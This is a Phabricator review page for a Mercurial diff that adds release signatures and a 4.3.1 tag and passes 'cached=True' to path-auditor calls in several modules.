Details
Details
- Reviewers
pulkit rishabhmadan96 - Group Reviewers
hg-reviewers
Diff Detail
Diff Detail
- Repository
- rHG Mercurial
- Lint
Lint Skipped - Unit
Unit Tests Skipped
pulkit | |
rishabhmadan96 |
hg-reviewers |
Lint Skipped |
Unit Tests Skipped |
Path | Packages | |||
---|---|---|---|---|
M | .hgsigs (1 line) | |||
M | .hgtags (1 line) | |||
M | hgext/fsmonitor/__init__.py (2 lines) | |||
M | mercurial/cmdutil.py (2 lines) | |||
M | mercurial/dirstate.py (2 lines) | |||
M | mercurial/localrepo.py (9 lines) | |||
M | mercurial/pathutil.py (16 lines) | |||
M | mercurial/posix.py (9 lines) | |||
M | mercurial/scmutil.py (2 lines) | |||
M | mercurial/sshpeer.py (7 lines) | |||
M | mercurial/subrepo.py (7 lines) | |||
M | mercurial/util.py (15 lines) | |||
M | mercurial/vfs.py (9 lines) | |||
M | mercurial/windows.py (10 lines) | |||
M | tests/test-audit-path.t (100 lines) | |||
M | tests/test-clone.t (63 lines) | |||
M | tests/test-commandserver.t (77 lines) | |||
M | tests/test-pull.t (26 lines) | |||
M | tests/test-push.t (26 lines) | |||
M | tests/test-ssh-bundle1.t (2 lines) | |||
M | tests/test-ssh.t (2 lines) | |||
M | tests/test-subrepo-git.t (31 lines) | |||
M | tests/test-subrepo-svn.t (40 lines) | |||
M | tests/test-subrepo.t (74 lines) |
77eaf9539499a1b8be259ffe7ada787d07857f80 0 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 |
77eaf9539499a1b8be259ffe7ada787d07857f80 4.1.3 | 77eaf9539499a1b8be259ffe7ada787d07857f80 4.1.3 | ||||
616e788321cc4ae9975b7f0c54c849f36d82182b 4.2-rc | 616e788321cc4ae9975b7f0c54c849f36d82182b 4.2-rc | ||||
bb96d4a497432722623ae60d9bc734a1e360179e 4.2 | bb96d4a497432722623ae60d9bc734a1e360179e 4.2 | ||||
c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1 | c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1 | ||||
26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2 | 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2 | ||||
857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc | 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc | ||||
5544af8622863796a0027566f6b646e10d522c4c 4.3 | 5544af8622863796a0027566f6b646e10d522c4c 4.3 | ||||
943c91326b23954e6e1c6960d0239511f9530258 4.2.3 | 943c91326b23954e6e1c6960d0239511f9530258 4.2.3 | ||||
3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1 |
else: | else: | ||||
visit.update(f for f, st in dmap.iteritems() | visit.update(f for f, st in dmap.iteritems() | ||||
if (f not in results and | if (f not in results and | ||||
(st[2] < 0 or st[0] != 'n' or fresh_instance) | (st[2] < 0 or st[0] != 'n' or fresh_instance) | ||||
and matchfn(f))) | and matchfn(f))) | ||||
visit.update(f for f in copymap | visit.update(f for f in copymap | ||||
if f not in results and matchfn(f)) | if f not in results and matchfn(f)) | ||||
audit = pathutil.pathauditor(self._root).check | audit = pathutil.pathauditor(self._root, cached=True).check | ||||
auditpass = [f for f in visit if audit(f)] | auditpass = [f for f in visit if audit(f)] | ||||
auditpass.sort() | auditpass.sort() | ||||
auditfail = visit.difference(auditpass) | auditfail = visit.difference(auditpass) | ||||
for f in auditfail: | for f in auditfail: | ||||
results[f] = None | results[f] = None | ||||
nf = iter(auditpass).next | nf = iter(auditpass).next | ||||
for st in util.statfiles([join(f) for f in auditpass]): | for st in util.statfiles([join(f) for f in auditpass]): |
def doremove(f): | def doremove(f): | ||||
try: | try: | ||||
repo.wvfs.unlinkpath(f) | repo.wvfs.unlinkpath(f) | ||||
except OSError: | except OSError: | ||||
pass | pass | ||||
repo.dirstate.remove(f) | repo.dirstate.remove(f) | ||||
audit_path = pathutil.pathauditor(repo.root) | audit_path = pathutil.pathauditor(repo.root, cached=True) | ||||
for f in actions['forget'][0]: | for f in actions['forget'][0]: | ||||
if interactive: | if interactive: | ||||
choice = repo.ui.promptchoice( | choice = repo.ui.promptchoice( | ||||
_("forget added file %s (Yn)?$$ &Yes $$ &No") % f) | _("forget added file %s (Yn)?$$ &Yes $$ &No") % f) | ||||
if choice == 0: | if choice == 0: | ||||
repo.dirstate.drop(f) | repo.dirstate.drop(f) | ||||
else: | else: | ||||
excluded_files.append(repo.wjoin(f)) | excluded_files.append(repo.wjoin(f)) |
visit = [f for f in dmap if f not in results and matchfn(f)] | visit = [f for f in dmap if f not in results and matchfn(f)] | ||||
visit.sort() | visit.sort() | ||||
if unknown: | if unknown: | ||||
# unknown == True means we walked all dirs under the roots | # unknown == True means we walked all dirs under the roots | ||||
# that wasn't ignored, and everything that matched was stat'ed | # that wasn't ignored, and everything that matched was stat'ed | ||||
# and is already in results. | # and is already in results. | ||||
# The rest must thus be ignored or under a symlink. | # The rest must thus be ignored or under a symlink. | ||||
audit_path = pathutil.pathauditor(self._root) | audit_path = pathutil.pathauditor(self._root, cached=True) | ||||
for nf in iter(visit): | for nf in iter(visit): | ||||
# If a stat for the same file was already added with a | # If a stat for the same file was already added with a | ||||
# different case, don't add one for this, since that would | # different case, don't add one for this, since that would | ||||
# make it appear as if the file exists under both names | # make it appear as if the file exists under both names | ||||
# on disk. | # on disk. | ||||
if (normalizefile and | if (normalizefile and | ||||
normalizefile(nf, True, True) in results): | normalizefile(nf, True, True) in results): |
self.svfs = None | self.svfs = None | ||||
self.root = self.wvfs.base | self.root = self.wvfs.base | ||||
self.path = self.wvfs.join(".hg") | self.path = self.wvfs.join(".hg") | ||||
